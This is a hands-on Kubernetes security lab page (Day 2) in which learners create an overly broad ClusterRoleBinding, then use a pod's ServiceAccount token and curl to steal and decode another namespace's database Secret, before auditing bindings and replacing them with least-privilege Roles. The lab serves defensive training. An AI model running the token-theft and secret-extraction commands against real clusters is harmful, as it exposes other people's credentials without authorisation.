Day 2: Finding and Exploiting Overly Broad Roles
Goal: You find an overly broad RBAC binding, use it to steal a Secret and replace it with least privilege. · Duration: approx. 75 min · Prerequisite: Day 1
Briefing
Yesterday the attacker pod was not allowed to do anything against the
API. That changes quickly: a Helm chart brings along a
ClusterRole binding, a monitoring agent gets read access to
all Secrets “for simplicity’s sake”, a debug ServiceAccount becomes
cluster-admin and is never rolled back. Today you rebuild such a
binding, exploit it – Secret theft across the whole cluster – and
replace it with exactly the permissions the workload really needs.
Drill 1: The misconfiguration – an overly broad chart
A “prize” in the namespace shop and an overly broad
ClusterRole binding to the attacker’s default
ServiceAccount – just as a badly packaged chart would do:
kubectl -n shop create secret generic db-credentials \
--from-literal=username=shopadmin --from-literal=password=S3cr3t-lab-pw
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get","list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-secret-reader
subjects:
- kind: ServiceAccount
name: default
namespace: attacker
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
EOFWarning:
ClusterRole+ClusterRoleBindingapplies cluster-wide, across all namespaces. Asecrets: [get,list]here means: every Secret in the entire cluster.
Save your progress? Sign up for free
Drill 2: Exploit – Secret theft from the pod
From the attacker pod you now read the Secret of another namespace and decode it:
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
JSON=$(curl -s -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials)
for k in username password; do
v=$(echo "$JSON" | grep -oE "\"$k\": *\"[^\"]*\"" | sed -E "s/.*: *\"//;s/\"//")
echo "$k = $(echo "$v" | base64 -d)"
done'Expected:
username = shopadmin
password = S3cr3t-lab-pw
That is the whole attack: a pod in attacker, a token,
one curl – and the database password from shop
lies exposed. How bad is it? Count how many Secrets this account is
allowed to read in the cluster:
kubectl get secrets -A --as=system:serviceaccount:attacker:default -o name | wc -lExpected (number depends on the cluster):
21
Among them are also service account tokens and Secrets from
kube-system – material from which further identities can be
built.
Save your progress? Sign up for free
Drill 3: Find – where in the cluster is there too much?
Before you repair anything, learn the tool for tracking it down.
Which ClusterRoleBindings grant
cluster-admin of all things, and to whom?
kubectl get clusterrolebindings -o json | python3 -c '
import sys,json
for b in json.load(sys.stdin)["items"]:
for s in b.get("subjects") or []:
if s.get("kind")=="ServiceAccount":
print(b["metadata"]["name"],"->",b["roleRef"]["name"],
"(",s["namespace"]+"/"+s["name"],")")'Expected (shortened):
canal-calico -> calico-node ( kube-system/canal )
helm-kube-system-rke2-coredns -> cluster-admin ( kube-system/helm-rke2-coredns )
helm-kube-system-rke2-traefik -> cluster-admin ( kube-system/helm-rke2-traefik )
...
Why? Even a fresh RKE2 cluster has cluster-admin bindings – RKE2’s Helm install jobs. They are intended and run in a controlled way. It becomes alarming when a workload ServiceAccount (your application, a sidecar, an agent) shows up like this. That is exactly what you look for in an audit.
Save your progress? Sign up for free
Drill 4: Fix – remove the overly broad binding
kubectl delete clusterrolebinding attacker-secret-reader
kubectl delete clusterrole secret-readerIf the workload really needs one Secret in its own
namespace, give it exactly that – a Role (namespaced),
restricted to the name, only get:
kubectl -n attacker create secret generic own-config --from-literal=k=v
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: read-own-config
namespace: attacker
rules:
- apiGroups: [""]
resources: ["secrets"]
resourceNames: ["own-config"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-own-config
namespace: attacker
subjects:
- kind: ServiceAccount
name: default
namespace: attacker
roleRef:
kind: Role
name: read-own-config
apiGroup: rbac.authorization.k8s.io
EOFSave your progress? Sign up for free
Drill 5: Proof – the theft fails, what is needed still works
The old attack on shop:
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'Expected:
403
And the strict cross-check – only the one own Secret is still allowed:
kubectl auth can-i get secret/own-config \
--as=system:serviceaccount:attacker:default -n attacker
kubectl auth can-i get secret/db-credentials \
--as=system:serviceaccount:attacker:default -n shopExpected:
yes
no
Save your progress? Sign up for free
Checkpoint
No workload ServiceAccount may read Secrets cluster-wide anymore:
kubectl auth can-i list secrets --as=system:serviceaccount:attacker:default -AExpected: no
The pod can no longer get at other namespaces’ Secrets:
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'Expected: 403
Challenge
Find out whether any ServiceAccount in the cluster has the dangerous permission to create pods – with it, an attacker could start a privileged pod (Day 5).
Hint: kubectl auth can-i also works
with --as for any account; you get the list of
ServiceAccounts with kubectl get sa -A.
Solution
for sa in $(kubectl get sa -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=${sa%/*}; name=${sa#*/}
if kubectl auth can-i create pods \
--as=system:serviceaccount:$ns:$name -n $ns >/dev/null 2>&1; then
echo "$sa darf Pods erstellen"
fi
doneExpected: a short list of system accounts (e.g. controllers). If an application account shows up here, that is a finding for your audit.
Save your progress? Sign up for free
Enterprise Note
- Never give
cluster-adminor*permissions to workload ServiceAccounts. Check charts for their RBAC objects before deploying (helm template … | grep -A5 kind:\ ClusterRole). get/list/watchonsecretsis effectively read access to all credentials – keep it as narrow as possible, ideally viaresourceNames.- Automate RBAC audits:
kubectl who-can(krew plugin) or rakkess/rbac-lookup give the “who may do what” view instead of “what does this role allow”. - Use
ClusterRoleBindingonly for truly cluster-wide services; everything else as a namespacedRoleBinding.